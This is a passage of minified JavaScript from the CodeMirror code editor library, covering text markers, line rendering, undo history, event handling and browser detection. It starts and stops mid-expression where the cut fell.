r&&(l=c+r),l=Math.max(0,l),r="",n=0,t.options.indentWithTabs)for(o=Math.floor(l/s);o;--o)n+=s,r+="\t";n<l&&(r+=or(l-n)),r!=u?xt(t.doc,r,Ct(e,0),Ct(e,u.length),"+input"):i.sel.head.line==e&&i.sel.head.ch<u.length&&Nt(i,Ct(e,u.length),Ct(e,u.length),1),a.stateAfter=null}function Ft(t,e,r){var n=e,i=e,o=t.doc;return"number"==typeof e?i=Se(o,Math.max(o.first,Math.min(e,o.first+o.size-1))):n=Ne(e),null!=n&&r(i,n)?(K(t,n,n+1),i):null}function Pt(t,e,r,n,i){function o(e){var n=(i?Nr:Hr)(a,s,r,!0);if(null==n){if((e=!e)&&((e=l+r)<t.first||e>=t.first+t.size?e=c=!1:(l=e,e=a=Se(t,e))),!e)return c=!1;s=i?(0>r?Sr:kr)(a):0>r?a.text.length:0}else s=n;return!0}var l=e.line,s=e.ch,a=(e=r,Se(t,l)),c=!0;if("char"==n)o();else if("column"==n)o(!0);else if("word"==n||"group"==n)for(var u=null,h=(n="group"==n,!0);!(0>r)||o(!h);h=!1){var f=dr(f=a.text.charAt(s)||"\n")?"w":n?/\s/.test(f)?null:"p":null;if(u&&u!=f){0>r&&(r=1,o());break}if(f&&(u=f),0<r&&!o(!h))break}return e=Dt(t,Ct(l,s),e,!0),c||(e.hitSide=!0),e}function Rt(t,e,r,n){var i,o=t.doc,l=e.left;for("page"==n?(n=Math.min(t.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight),i=e.top+r*(n-(0>r?1.5:.5)*I(t.display))):"line"==n&&(i=0<r?e.bottom+3:e.top-3);;){var s=E(t,l,i);if(!s.outside)break;if(0>r?0>=i:i>=o.height){s.hitSide=!0;break}i+=5*r}return s}function Bt(t,e){var r=e.ch,n=e.ch;if(t){(0>e.xRel||n==t.length)&&r?--r:++n;for(var i=dr(i=t.charAt(r))?dr:/\s/.test(i)?function(t){return/\s/.test(t)}:function(t){return!/\s/.test(t)&&!dr(t)};0<r&&i(t.charAt(r-1));)--r;for(;n<t.length&&i(t.charAt(n));)++n}return{from:Ct(e.line,r),to:Ct(e.line,n)}}function Gt(e,r,n,i){t.defaults[e]=r,n&&(fn[e]=i?function(t,e,r){r!=pn&&n(t,e,r)}:n)}function Vt(t,e){if(!0===e)return e;if(t.copyState)return t.copyState(e);var r,n={};for(r in e){var i=e[r];i instanceof Array&&(i=i.concat([])),n[r]=i}return n}function Kt(t,e,r){return!t.startState||t.startState(e,r)}function Ut(t){return"string"==typeof t?Cn[t]:t}function Xt(t,e,r){function n(e){if(!1===(i=(e=Ut(e))[t]))return"stop";if(null!=i&&r(i))return!0;if(e.nofallthrough)return"stop";if(null==(e=e.fallthrough))return!1;if("[object Array]"!=Object.prototype.toString.call(e))return n(e);for(var i=0,o=e.length;i<o;++i){var l=n(e[i]);if(l)return l}return!1}for(var i=0;i<e.length;++i){var o=n(e[i]);if(o)return"stop"!=o}}function _t(t){return"Ctrl"==(t=Kn[t.keyCode])||"Alt"==t||"Shift"==t||"Mod"==t}function Yt(t,e){if(Rr&&34==t.keyCode&&t.char)return!1;var r=Kn[t.keyCode];return null!=r&&!t.altGraphKey&&(t.altKey&&(r="Alt-"+r),(Jr?t.metaKey:t.ctrlKey)&&(r="Ctrl-"+r),(Jr?t.ctrlKey:t.metaKey)&&(r="Cmd-"+r),!e&&t.shiftKey&&(r="Shift-"+r),r)}function jt(t,e){this.pos=this.start=0,this.string=t,this.tabSize=e||8,this.lastColumnPos=this.lastColumnValue=0}function $t(t,e){this.lines=[],this.type=e,this.doc=t}function Zt(t,e,r,n,i){if(n&&n.shared)return function(t,e,r,n,i){(n=ur(n)).shared=!1;var o=[Zt(t,e,r,n,i)],l=o[0],s=n.replacedWith;return Le(t,(function(t){s&&(n.replacedWith=s.cloneNode(!0)),o.push(Zt(t,St(t,e),St(t,r),n,i));for(var a=0;a<t.linked.length;++a)if(t.linked[a].isParent)return;l=lr(o)})),new qt(o,l)}(t,e,r,n,i);if(t.cm&&!t.cm.curOp)return B(t.cm,Zt)(t,e,r,n,i);var o=new $t(t,i);if(Lt(r,e)||wt(e,r)&&"range"==i&&(!n.inclusiveLeft||!n.inclusiveRight))return o;n&&ur(n,o),o.replacedWith&&(o.collapsed=!0,o.replacedWith=mr("span",[o.replacedWith],"CodeMirror-widget"),n.handleMouseEvents||(o.replacedWith.ignoreEvents=!0)),o.collapsed&&(rn=!0),o.addToHistory&&Ie(t,{from:e,to:r,origin:"markText"},{head:t.sel.head,anchor:t.sel.anchor},NaN);var l,s,a,c=e.line,u=0,h=t.cm;if(t.iter(c,r.line+1,(function(n){h&&o.collapsed&&!h.options.lineWrapping&&ne(t,n)==h.display.maxLine&&(a=!0);var i={from:null,to:null,marker:o};u+=n.text.length,c==e.line&&(i.from=e.ch,u-=e.ch),c==r.line&&(i.to=r.ch,u-=n.text.length-r.ch),o.collapsed&&(c==r.line&&(s=ee(n,r.ch)),c==e.line?l=ee(n,e.ch):Ae(n,0)),n.markedSpans=n.markedSpans?n.markedSpans.concat([i]):[i],i.marker.attachLine(n),++c})),o.collapsed&&t.iter(e.line,r.line+1,(function(e){ie(t,e)&&Ae(e,0)})),o.clearOnEnter&&$e(o,"beforeCursorEnter",(function(){o.clear()})),o.readOnly&&(en=!0,(t.history.done.length||t.history.undone.length)&&t.clearHistory()),o.collapsed){if(l!=s)throw Error("Inserting collapsed marker overlapping an existing one");o.size=u,o.atomic=!0}return h&&(a&&(h.curOp.updateMaxLine=!0),(o.className||o.title||o.startStyle||o.endStyle||o.collapsed)&&K(h,e.line,r.line+1),o.atomic&&Ht(h)),o}function qt(t,e){this.markers=t,this.primary=e;for(var r=0,n=this;r<t.length;++r)t[r].parent=this,$e(t[r],"clear",(function(){n.clear()}))}function Qt(t,e){if(t)for(var r=0;r<t.length;++r){var n=t[r];if(n.marker==e)return n}}function Jt(t,e){var r=Tt(t,e.from.line)&&Se(t,e.from.line).markedSpans,n=Tt(t,e.to.line)&&Se(t,e.to.line).markedSpans;if(!r&&!n)return null;var i,o=e.from.ch,l=e.to.ch,s=wt(e.from,e.to);if(r)for(var a,c=0;c<r.length;++c){var u=r[c],h=u.marker;if(null==u.from||(h.inclusiveLeft?u.from<=o:u.from<o)||(h.inclusiveLeft&&h.inclusiveRight||"bookmark"==h.type)&&u.from==o&&(!s||!u.marker.insertLeft)){var f=null==u.to||(h.inclusiveRight?u.to>=o:u.to>o);(a||(a=[])).push({from:u.from,to:f?null:u.to,marker:h})}}if(r=a,n)for(c=0;c<n.length;++c)u=(a=n[c]).marker,(null==a.to||(u.inclusiveRight?a.to>=l:a.to>l)||"bookmark"==u.type&&a.from==l&&(!s||a.marker.insertLeft))&&(h=null==a.from||(u.inclusiveLeft?a.from<=l:a.from<l),(i||(i=[])).push({from:h?null:a.from-l,to:null==a.to?null:a.to-l,marker:u}));if(n=i,s=1==e.text.length,i=lr(e.text).length+(s?o:0),r)for(l=0;l<r.length;++l)null==(c=r[l]).to&&((a=Qt(n,c.marker))?s&&(c.to=null==a.to?null:a.to+i):c.to=o);if(n)for(l=0;l<n.length;++l)null!=(c=n[l]).to&&(c.to+=i),null==c.from?(a=Qt(r,c.marker))||(c.from=i,s&&(r||(r=[])).push(c)):(c.from+=i,s&&(r||(r=[])).push(c));if(s&&r){for(l=0;l<r.length;++l)null!=r[l].from&&r[l].from==r[l].to&&"bookmark"!=r[l].marker.type&&r.splice(l--,1);r.length||(r=null)}if(o=[r],!s){var d;if(0<(s=e.text.length-2)&&r)for(l=0;l<r.length;++l)null==r[l].to&&(d||(d=[])).push({from:null,to:null,marker:r[l].marker});for(l=0;l<s;++l)o.push(d);o.push(n)}return o}function te(t,e){var r;if(r=e["spans_"+t.id]){for(var n=0,i=[];n<e.text.length;++n)i.push(Fe(r[n]));r=i}else r=null;if(n=Jt(t,e),!r)return n;if(!n)return r;for(i=0;i<r.length;++i){var o=r[i],l=n[i];if(o&&l){var s=0;t:for(;s<l.length;++s){for(var a=l[s],c=0;c<o.length;++c)if(o[c].marker==a.marker)continue t;o.push(a)}}else l&&(r[i]=l)}return r}function ee(t,e){var r,n=rn&&t.markedSpans;if(n)for(var i,o=0;o<n.length;++o)(i=n[o]).marker.collapsed&&(null==i.from||i.from<e)&&(null==i.to||i.to>e)&&(!r||r.width<i.marker.width)&&(r=i.marker);return r}function re(t){return ee(t,t.text.length+1)}function ne(t,e){for(var r;r=ee(e,-1);)e=Se(t,r.find().from.line);return e}function ie(t,e){var r=rn&&e.markedSpans;if(r)for(var n,i=0;i<r.length;++i)if((n=r[i]).marker.collapsed&&(null==n.from||!n.marker.replacedWith&&0==n.from&&n.marker.inclusiveLeft&&oe(t,e,n)))return!0}function oe(t,e,r){if(null==r.to)return oe(t,e=Se(t,(e=r.marker.find().to).line),Qt(e.markedSpans,r.marker));if(r.marker.inclusiveRight&&r.to==e.text.length)return!0;for(var n,i=0;i<e.markedSpans.length;++i)if((n=e.markedSpans[i]).marker.collapsed&&!n.marker.replacedWith&&n.from==r.to&&(n.marker.inclusiveLeft||r.marker.inclusiveRight)&&oe(t,e,n))return!0}function le(t){var e=t.markedSpans;if(e){for(var r=0;r<e.length;++r)e[r].marker.detachLine(t);t.markedSpans=null}}function se(t,e){if(e){for(var r=0;r<e.length;++r)e[r].marker.attachLine(t);t.markedSpans=e}}function ae(t){return function(){var e=!this.cm.curOp;e&&P(this.cm);try{var r=t.apply(this,arguments)}finally{e&&R(this.cm)}return r}}function ce(t){return null!=t.height?t.height:((!t.node.parentNode||1!=t.node.parentNode.nodeType)&&vr(t.cm.display.measure,mr("div",[t.node],null,"position: relative")),t.height=t.node.offsetHeight)}function ue(t,e,r,n,i,o){var l=r.flattenSpans;null==l&&(l=t.options.flattenSpans);var s,a=0,c=null,u=new jt(e,t.options.tabSize);for(""==e&&r.blankLine&&r.blankLine(n);!u.eol();)u.pos>t.options.maxHighlightLength?(l=!1,o&&de(t,e,n,u.pos),u.pos=e.length,s=null):s=r.token(u,n),l&&c==s||(a<u.start&&i(u.start,c),a=u.start,c=s),u.start=u.pos;for(;a<u.pos;)i(t=Math.min(u.pos,a+5e4),c),a=t}function he(t,e,r,n){var i=[t.state.modeGen];for(ue(t,e.text,t.doc.mode,r,(function(t,e){i.push(t,e)}),n),r=0;r<t.state.overlays.length;++r){var o=t.state.overlays[r],l=1,s=0;ue(t,e.text,o.mode,!0,(function(t,e){for(var r=l;s<t;){var n=i[l];n>t&&i.splice(l,1,t,i[l+1],n),l+=2,s=Math.min(t,n)}if(e)if(o.opaque)i.splice(r,l-r,t,e),l=r+2;else for(;r<l;r+=2)n=i[r+1],i[r+1]=n?n+" "+e:e}))}return i}function fe(t,e){return e.styles&&e.styles[0]==t.state.modeGen||(e.styles=he(t,e,e.stateAfter=L(t,Ne(e)))),e.styles}function de(t,e,r,n){var i=t.doc.mode,o=new jt(e,t.options.tabSize);for(o.start=o.pos=n||0,""==e&&i.blankLine&&i.blankLine(r);!o.eol()&&o.pos<=t.options.maxHighlightLength;)i.token(o,r),o.start=o.pos}function pe(t,e){if(!t)return null;for(;;){var r=t.match(/(?:^|\s)line-(background-)?(\S+)/);if(!r)break;t=t.slice(0,r.index)+t.slice(r.index+r[0].length);var n=r[1]?"bgClass":"textClass";null==e[n]?e[n]=r[2]:RegExp("(?:^|s)"+r[2]+"(?:$|s)").test(e[n])||(e[n]+=" "+r[2])}return kn[t]||(kn[t]="cm-"+t.replace(/ +/g," cm-"))}function me(t,e,r,n){for(var i,o=e,l=!0;i=ee(o,-1);)o=Se(t.doc,i.find().from.line);n={pre:mr("pre"),col:0,pos:0,measure:null,measuredSomething:!1,cm:t,copyWidgets:n};do{o.text&&(l=!1),n.measure=o==e&&r,n.pos=0,n.addToken=n.measure?ve:ge,(Wr||Ir)&&t.getOption("lineWrapping")&&(n.addToken=ye(n.addToken));t:{i=n;var s=fe(t,o),a=o.markedSpans,c=o.text,u=0;if(a)for(var h=c.length,f=0,d=1,p="",m=void 0,g=0,v=void 0,y=void 0,b=void 0,x=void 0,C=void 0;;){if(g==f){v=y=b=x="",C=null,g=1/0;for(var w=[],L=0;L<a.length;++L){var k=a[L],S=k.marker;k.from<=f&&(null==k.to||k.to>f)?(null!=k.to&&g>k.to&&(g=k.to,y=""),S.className&&(v+=" "+S.className),S.startStyle&&k.from==f&&(b+=" "+S.startStyle),S.endStyle&&k.to==g&&(y+=" "+S.endStyle),S.title&&!x&&(x=S.title),S.collapsed&&(!C||C.marker.size<S.size)&&(C=k)):k.from>f&&g>k.from&&(g=k.from),"bookmark"==S.type&&k.from==f&&S.replacedWith&&w.push(S)}if(C&&(C.from||0)==f&&(be(i,(null==C.to?h:C.to)-f,C.marker,null==C.from),null==C.to)){i=C.marker.find();break t}if(!C&&w.length)for(L=0;L<w.length;++L)be(i,0,w[L])}if(f>=h)break;for(w=Math.min(h,g);;){if(p){if(L=f+p.length,C||(k=L>w?p.slice(0,w-f):p,i.addToken(i,k,m?m+v:v,b,f+k.length==g?y:"",x)),L>=w){p=p.slice(w-f),f=w;break}f=L,b=""}p=c.slice(u,u=s[d++]),m=pe(s[d++],i)}}else for(d=1;d<s.length;d+=2)i.addToken(i,c.slice(u,u=s[d]),pe(s[d+1],i));i=void 0}r&&o==e&&!n.measuredSomething&&(r[0]=n.pre.appendChild(wr(t.display.measure)),n.measuredSomething=!0),i&&(o=Se(t.doc,i.to.line))}while(i);var M;return r&&!n.measuredSomething&&!r[0]&&(r[0]=n.pre.appendChild(l?mr("span"," "):wr(t.display.measure))),!n.pre.firstChild&&!ie(t.doc,e)&&n.pre.appendChild(document.createTextNode(" ")),r&&(Wr||zr)&&(M=We(o))&&(M[l=M.length-1].from==M[l].to&&--l,o=M[l],M=M[l-1],o.from+1==o.to&&M&&o.level<M.level&&(r=r[n.pos-1])&&r.parentNode.insertBefore(r.measureRight=wr(t.display.measure),r.nextSibling)),(r=n.textClass?n.textClass+" "+(e.textClass||""):e.textClass)&&(n.pre.className=r),qe(t,"renderLine",t,e,n.pre),n}function ge(t,e,r,n,i,o){if(e){var l=t.cm.options.specialChars;if(l.test(e))for(var s=document.createDocumentFragment(),a=0;;){l.lastIndex=a;var c=l.exec(e),u=c?c.index-a:e.length-a;if(u&&(s.appendChild(document.createTextNode(e.slice(a,a+u))),t.col+=u),!c)break;a+=u+1,"\t"==c[0]?(c=t.cm.options.tabSize,c-=t.col%c,s.appendChild(mr("span",or(c),"cm-tab")),t.col+=c):(c=t.cm.options.specialCharPlaceholder(c[0]),s.appendChild(c),t.col+=1)}else t.col+=e.length,s=document.createTextNode(e);if(r||n||i||t.measure)return e=r||"",n&&(e+=n),i&&(e+=i),c=mr("span",[s],e),o&&(c.title=o),t.pre.appendChild(c);t.pre.appendChild(s)}}function ve(t,e,r,n,i){for(var o=t.cm.options.lineWrapping,l=0;l<e.length;++l){var s=e.charAt(l),a=0==l;"\ud800"<=s&&"\udbff">s&&l<e.length-1?(s=e.slice(l,l+2),++l):l&&o&&xr(e,l)&&t.pre.appendChild(mr("wbr"));var c=t.measure[t.pos];a=t.measure[t.pos]=ge(t,s,r,a&&n,l==e.length-1&&i),c&&(a.leftSide=c.leftSide||c),Wr&&o&&" "==s&&l&&!/\s/.test(e.charAt(l-1))&&l<e.length-1&&!/\s/.test(e.charAt(l+1))&&(a.style.whiteSpace="normal"),t.pos+=s.length}e.length&&(t.measuredSomething=!0)}function ye(t){function e(t){for(var e=" ",r=0;r<t.length-2;++r)e+=r%2?" ":" ";return e+" "}return function(r,n,i,o,l,s){return t(r,n.replace(/ {3,}/g,e),i,o,l,s)}}function be(t,e,r,n){if((n=!n&&r.replacedWith)&&(t.copyWidgets&&(n=n.cloneNode(!0)),t.pre.appendChild(n),t.measure)){if(e)t.measure[t.pos]=n;else{var i=wr(t.cm.display.measure);if("bookmark"!=r.type||r.insertLeft){if(t.measure[t.pos])return;t.measure[t.pos]=t.pre.insertBefore(i,n)}else t.measure[t.pos]=t.pre.appendChild(i)}t.measuredSomething=!0}t.pos+=e}function xe(t,e,r,n,i){function o(t){return r?r[t]:null}function l(t,r,n){var o=i;t.text=r,t.stateAfter&&(t.stateAfter=null),t.styles&&(t.styles=null),null!=t.order&&(t.order=null),le(t),se(t,n),(r=o?o(t):1)!=t.height&&Ae(t,r),Qe(t,"change",t,e)}var s=e.from,a=e.to,c=e.text,u=Se(t,s.line),h=Se(t,a.line),f=lr(c),d=o(c.length-1),p=a.line-s.line;if(0!=s.ch||0!=a.ch||""!=f||t.cm&&!t.cm.options.wholeLineUpdateBefore)if(u==h)if(1==c.length)l(u,u.text.slice(0,s.ch)+f+u.text.slice(a.ch),d);else{for(v=[],m=1,g=c.length-1;m<g;++m)v.push(new Ln(c[m],o(m),i));v.push(new Ln(f+u.text.slice(a.ch),d,i)),l(u,u.text.slice(0,s.ch)+c[0],o(0)),t.insert(s.line+1,v)}else if(1==c.length)l(u,u.text.slice(0,s.ch)+c[0]+h.text.slice(a.ch),o(0)),t.remove(s.line+1,p);else{for(l(u,u.text.slice(0,s.ch)+c[0],o(0)),l(h,f+h.text.slice(a.ch),d),m=1,g=c.length-1,v=[];m<g;++m)v.push(new Ln(c[m],o(m),i));1<p&&t.remove(s.line+1,p-1),t.insert(s.line+1,v)}else{for(var m=0,g=c.length-1,v=[];m<g;++m)v.push(new Ln(c[m],o(m),i));l(h,h.text,d),p&&t.remove(s.line,p),v.length&&t.insert(s.line,v)}Qe(t,"change",t,e),Nt(t,n.anchor,n.head,null,!0)}function Ce(t){this.lines=t,this.parent=null;for(var e=0,r=t.length,n=0;e<r;++e)t[e].parent=this,n+=t[e].height;this.height=n}function we(t){this.children=t;for(var e=0,r=0,n=0,i=t.length;n<i;++n){var o=t[n];e+=o.chunkSize(),r+=o.height,o.parent=this}this.size=e,this.height=r,this.parent=null}function Le(t,e,r){!function t(n,i,o){if(n.linked)for(var l=0;l<n.linked.length;++l){var s=n.linked[l];if(s.doc!=i){var a=o&&s.sharedHist;r&&!a||(e(s.doc,a),t(s.doc,n,a))}}}(t,null,!0)}function ke(t,r){if(r.cm)throw Error("This document is already in use.");t.doc=r,r.cm=t,n(t),e(t),t.options.lineWrapping||c(t),t.options.mode=r.modeOption,K(t)}function Se(t,e){for(e-=t.first;!t.lines;)for(var r=0;;++r){var n=t.children[r],i=n.chunkSize();if(e<i){t=n;break}e-=i}return t.lines[e]}function Me(t,e,r){var n=[],i=e.line;return t.iter(e.line,r.line+1,(function(t){t=t.text,i==r.line&&(t=t.slice(0,r.ch)),i==e.line&&(t=t.slice(e.ch)),n.push(t),++i})),n}function Te(t,e,r){var n=[];return t.iter(e,r,(function(t){n.push(t.text)})),n}function Ae(t,e){for(var r=e-t.height,n=t;n;n=n.parent)n.height+=r}function Ne(t){if(null==t.parent)return null;for(var e=t.parent,r=(t=ar(e.lines,t),e.parent);r;e=r,r=r.parent)for(var n=0;r.children[n]!=e;++n)t+=r.children[n].chunkSize();return t+e.first}function He(t,e){var r=t.first;t:do{for(var n=0,i=t.children.length;n<i;++n){var o=t.children[n],l=o.height;if(e<l){t=o;continue t}e-=l,r+=o.chunkSize()}return r}while(!t.lines);for(n=0,i=t.lines.length;n<i&&!(e<(o=t.lines[n].height));++n)e-=o;return r+n}function De(t,e){for(var r=0,n=(e=ne(t.doc,e)).parent,i=0;i<n.lines.length;++i){var o=n.lines[i];if(o==e)break;r+=o.height}for(o=n.parent;o;o=(n=o).parent)for(i=0;i<o.children.length;++i){var l=o.children[i];if(l==n)break;r+=l.height}return r}function We(t){var e=t.order;return null==e&&(e=t.order=Xn(t.text)),e}function Oe(t){return{done:[],undone:[],undoDepth:1/0,lastTime:0,lastOp:null,lastOrigin:null,generation:t||1,maxGeneration:t||1}}function Ee(t,e,r,n){var i=e["spans_"+t.id],o=0;t.iter(Math.max(t.first,r),Math.min(t.first+t.size,n),(function(r){r.markedSpans&&((i||(i=e["spans_"+t.id]={}))[o]=r.markedSpans),++o}))}function ze(t,e){var r={from:{line:e.from.line,ch:e.from.ch},to:hn(e),text:Me(t,e.from,e.to)};return Ee(t,r,e.from.line,e.to.line+1),Le(t,(function(t){Ee(t,r,e.from.line,e.to.line+1)}),!0),r}function Ie(t,e,r,n){var i=t.history;i.undone.length=0;var o=+new Date,l=lr(i.done);if(l&&(i.lastOp==n||i.lastOrigin==e.origin&&e.origin&&("+"==e.origin.charAt(0)&&t.cm&&i.lastTime>o-t.cm.options.historyEventDelay||"*"==e.origin.charAt(0)))){var s=lr(l.changes);wt(e.from,e.to)&&wt(e.from,s.to)?s.to=hn(e):l.changes.push(ze(t,e)),l.anchorAfter=r.anchor,l.headAfter=r.head}else for(l={changes:[ze(t,e)],generation:i.generation,anchorBefore:t.sel.anchor,headBefore:t.sel.head,anchorAfter:r.anchor,headAfter:r.head},i.done.push(l),i.generation=++i.maxGeneration;i.done.length>i.undoDepth;)i.done.shift();i.lastTime=o,i.lastOp=n,i.lastOrigin=e.origin}function Fe(t){if(!t)return null;for(var e,r=0;r<t.length;++r)t[r].marker.explicitlyCleared?e||(e=t.slice(0,r)):e&&e.push(t[r]);return e?e.length?e:null:t}function Pe(t,e){for(var r=0,n=[];r<t.length;++r){var i=t[r],o=i.changes,l=[];for(n.push({changes:l,anchorBefore:i.anchorBefore,headBefore:i.headBefore,anchorAfter:i.anchorAfter,headAfter:i.headAfter}),i=0;i<o.length;++i){var s,a=o[i];if(l.push({from:a.from,to:a.to,text:a.text}),e)for(var c in a)(s=c.match(/^spans_(\d+)$/))&&-1<ar(e,Number(s[1]))&&(lr(l)[c]=a[c],delete a[c])}}return n}function Re(t,e,r,n){r<t.line?t.line+=n:e<t.line&&(t.line=e,t.ch=0)}function Be(t,e,r,n){for(var i=0;i<t.length;++i){for(var o=t[i],l=!0,s=0;s<o.changes.length;++s){var a=o.changes[s];if(o.copied||(a.from=kt(a.from),a.to=kt(a.to)),r<a.from.line)a.from.line+=n,a.to.line+=n;else if(e<=a.to.line){l=!1;break}}o.copied||(o.anchorBefore=kt(o.anchorBefore),o.headBefore=kt(o.headBefore),o.anchorAfter=kt(o.anchorAfter),o.readAfter=kt(o.headAfter),o.copied=!0),l?(Re(o.anchorBefore),Re(o.headBefore),Re(o.anchorAfter),Re(o.headAfter)):(t.splice(0,i+1),i=0)}}function Ge(t,e){var r=e.from.line,n=e.to.line,i=e.text.length-(n-r)-1;Be(t.done,r,n,i),Be(t.undone,r,n,i)}function Ve(){Ye(this)}function Ke(t){return t.stop||(t.stop=Ve),t}function Ue(t){t.preventDefault?t.preventDefault():t.returnValue=!1}function Xe(t){t.stopPropagation?t.stopPropagation():t.cancelBubble=!0}function _e(t){return null!=t.defaultPrevented?t.defaultPrevented:0==t.returnValue}function Ye(t){Ue(t),Xe(t)}function je(t){var e=t.which;return null==e&&(1&t.button?e=1:2&t.button?e=3:4&t.button&&(e=2)),Yr&&t.ctrlKey&&1==e&&(e=3),e}function $e(t,e,r){t.addEventListener?t.addEventListener(e,r,!1):t.attachEvent?t.attachEvent("on"+e,r):((t=t._handlers||(t._handlers={}))[e]||(t[e]=[])).push(r)}function Ze(t,e,r){if(t.removeEventListener)t.removeEventListener(e,r,!1);else if(t.detachEvent)t.detachEvent("on"+e,r);else if(t=t._handlers&&t._handlers[e])for(e=0;e<t.length;++e)if(t[e]==r){t.splice(e,1);break}}function qe(t,e){var r=t._handlers&&t._handlers[e];if(r)for(var n=Array.prototype.slice.call(arguments,2),i=0;i<r.length;++i)r[i].apply(null,n)}function Qe(t,e){function r(t){return function(){t.apply(null,i)}}var n=t._handlers&&t._handlers[e];if(n){var i=Array.prototype.slice.call(arguments,2);Nn||(++Hn,Nn=[],setTimeout(tr,0));for(var o=0;o<n.length;++o)Nn.push(r(n[o]))}}function Je(t,e,r){return qe(t,r||e.type,t,e),_e(e)||e.codemirrorIgnore}function tr(){--Hn;var t=Nn;Nn=null;for(var e=0;e<t.length;++e)t[e]()}function er(t,e){var r=t._handlers&&t._handlers[e];return r&&0<r.length}function rr(t){t.prototype.on=function(t,e){$e(this,t,e)},t.prototype.off=function(t,e){Ze(this,t,e)}}function nr(){this.id=null}function ir(t,e,r,n,i){for(null==e&&-1==(e=t.search(/[^\s\u00a0]/))&&(e=t.length),n=n||0,i=i||0;n<e;++n)"\t"==t.charAt(n)?i+=r-i%r:++i;return i}function or(t){for(;On.length<=t;)On.push(lr(On)+" ");return On[t]}function lr(t){return t[t.length-1]}function sr(t){if(Xr)t.selectionStart=0,t.selectionEnd=t.value.length;else try{t.select()}catch(t){}}function ar(t,e){if(t.indexOf)return t.indexOf(e);for(var r=0,n=t.length;r<n;++r)if(t[r]==e)return r;return-1}function cr(t,e){function r(){}r.prototype=t;var n=new r;return e&&ur(e,n),n}function ur(t,e){for(var r in e||(e={}),t)t.hasOwnProperty(r)&&(e[r]=t[r]);return e}function hr(t){for(var e=[],r=0;r<t;++r)e.push(void 0);return e}function fr(t){var e=Array.prototype.slice.call(arguments,1);return function(){return t.apply(null,e)}}function dr(t){return/\w/.test(t)||""<t&&(t.toUpperCase()!=t.toLowerCase()||En.test(t))}function pr(t){for(var e in t)if(t.hasOwnProperty(e)&&t[e])return!1;return!0}function mr(t,e,r,n){if(t=document.createElement(t),r&&(t.className=r),n&&(t.style.cssText=n),"string"==typeof e)yr(t,e);else if(e)for(r=0;r<e.length;++r)t.appendChild(e[r]);return t}function gr(t){for(var e=t.childNodes.length;0<e;--e)t.removeChild(t.firstChild);return t}function vr(t,e){return gr(t).appendChild(e)}function yr(t,e){Er?(t.innerHTML="",t.appendChild(document.createTextNode(e))):t.textContent=e}function br(t){return t.getBoundingClientRect()}function xr(){return!1}function Cr(t){if(null!=Fn)return Fn;var e=mr("div",null,null,"width: 50px; height: 50px; overflow-x: scroll");return vr(t,e),e.offsetWidth&&(Fn=e.offsetHeight-e.clientHeight),Fn||0}function wr(t){if(null==Pn){var e=mr("span","");vr(t,mr("span",[e,document.createTextNode("x")])),0!=t.firstChild.offsetHeight&&(Pn=1>=e.offsetWidth&&2<e.offsetHeight&&!Or)}return Pn?mr("span",""):mr("span"," ",null,"display: inline-block; width: 1px; margin-right: -1px")}function Lr(t){return t.level%2?t.from:t.to}function kr(t){return(t=We(t))?t[0].level%2?t[0].to:t[0].from:0}function Sr(t){var e=We(t);return e?Lr(lr(e)):t.text.length}function Mr(t,e){var r=Se(t.doc,e),n=ne(t.doc,r);return n!=r&&(e=Ne(n)),Ct(e,n=(r=We(n))?r[0].level%2?Sr(n):kr(n):0)}function Tr(t,e){for(var r,n=0;n<t.length;++n){if((i=t[n]).from<e&&i.to>e)return Un=null,n;if(i.from==e||i.to==e){if(null!=r){var i=i.level,o=t[r].level,l=t[0].level;return(i=i==l||o!=l&&i<o)?(Un=r,n):(Un=n,r)}r=n}}return Un=null,r}function Ar(t,e,r,n){if(!n)return e+r;do{e+=r}while(0<e&&zn.test(t.text.charAt(e)));return e}function Nr(t,e,r,n){var i=We(t);if(!i)return Hr(t,e,r,n);var o=Tr(i,e),l=i[o];for(e=Ar(t,e,l.level%2?-r:r,n);;){if(e>l.from&&e<l.to)return e;if(e==l.from||e==l.to)return Tr(i,e)==o?e:0<r==(l=i[o+r]).level%2?l.to:l.from;if(!(l=i[o+=r]))return null;e=0<r==l.level%2?Ar(t,l.to,-1,n):Ar(t,l.from,1,n)}}function Hr(t,e,r,n){if(e+=r,n)for(;0<e&&zn.test(t.text.charAt(e));)e+=r;return 0>e||e>t.text.length?null:e}var Dr=/gecko\/\d/i.test(navigator.userAgent),Wr=/MSIE \d/.test(navigator.userAgent),Or=Wr&&(null==document.documentMode||8>document.documentMode),Er=Wr&&(null==document.documentMode||9>document.documentMode),zr=/Trident\/([7-9]|\d{2,})\./.test(navigator.userAgent),Ir=/WebKit\//.test(navigator.userAgent),Fr=Ir&&/Qt\/\d+\.\d+/.test(navigator.userAgent),Pr=/Chrome\//.test(navigator.userAgent),Rr=/Opera\//.test(navigator.userAgent),Br=/Apple Computer/.test(navigator.vendor),Gr=/KHTML\//.test(navigator.userAgent),Vr=/Mac OS X 1\d\D([7-9]|\d\d)\D/.test(navigator.userAgent),Kr=/Mac OS X 1\d\D([8-9]|\d\d)\D/.test(navigator.userAgent),Ur=/PhantomJS/.test(navigator.userAgent),Xr=/AppleWebKit/.test(navigator.userAgent)&&/Mobile\/\w+/.test(navigator.userAgent),_r=Xr||/Android|webOS|BlackBerry|Opera Mini|Opera Mobi|IEMobile/i.test(navigator.userAgent),Yr=Xr||/Mac/.test(navigator.platform),jr=/win/i.test(navigator.platform),$r=Rr&&navigator.userAgent.match(/Version\/(\d*\.\d*)/);$r&&($r=Number($r[1])),$r&&15<=$r&&(Rr=!1,Ir=!0);var Zr,qr,Qr,Jr=Yr&&(Fr||Rr&&(null==$r||12.11>$r)),tn=Dr||Wr&&!Er,en=!1,rn=!1,nn=0,on=0,ln=0,sn=null;Wr?sn=-.53:Dr?sn=15:Pr?sn=-.7:Br&&(sn=-1/3);var an,cn,un=null,hn=t.changeEnd=function(t){return t.text?Ct(t.from.line+t.text.length-1,lr(t.text).length+(1==t.text.length?t.from.ch:0)):t.to};t.Pos=Ct,t.prototype={constructor:t,focus:function(){window.focus(),j(this),X(this)},setOption:function(t,e){var r=this.options,n=r[t];r[t]==e&&"mode"!=t||(r[t]=e,fn.hasOwnProperty(t)&&B(this,fn[t])(this,e,n))},getOption:function(t){return this.options[t]},getDoc:function(){return this.doc},addKeyMap:function(t,e){this.state.keyMaps[e?"push":"unshift"](t)},removeKeyMap:function(t){for(var e=this.state.keyMaps,r=0;r<e.length;++r)if(e[r]==t||"string"!=typeof e[r]&&e[r].name==t)return 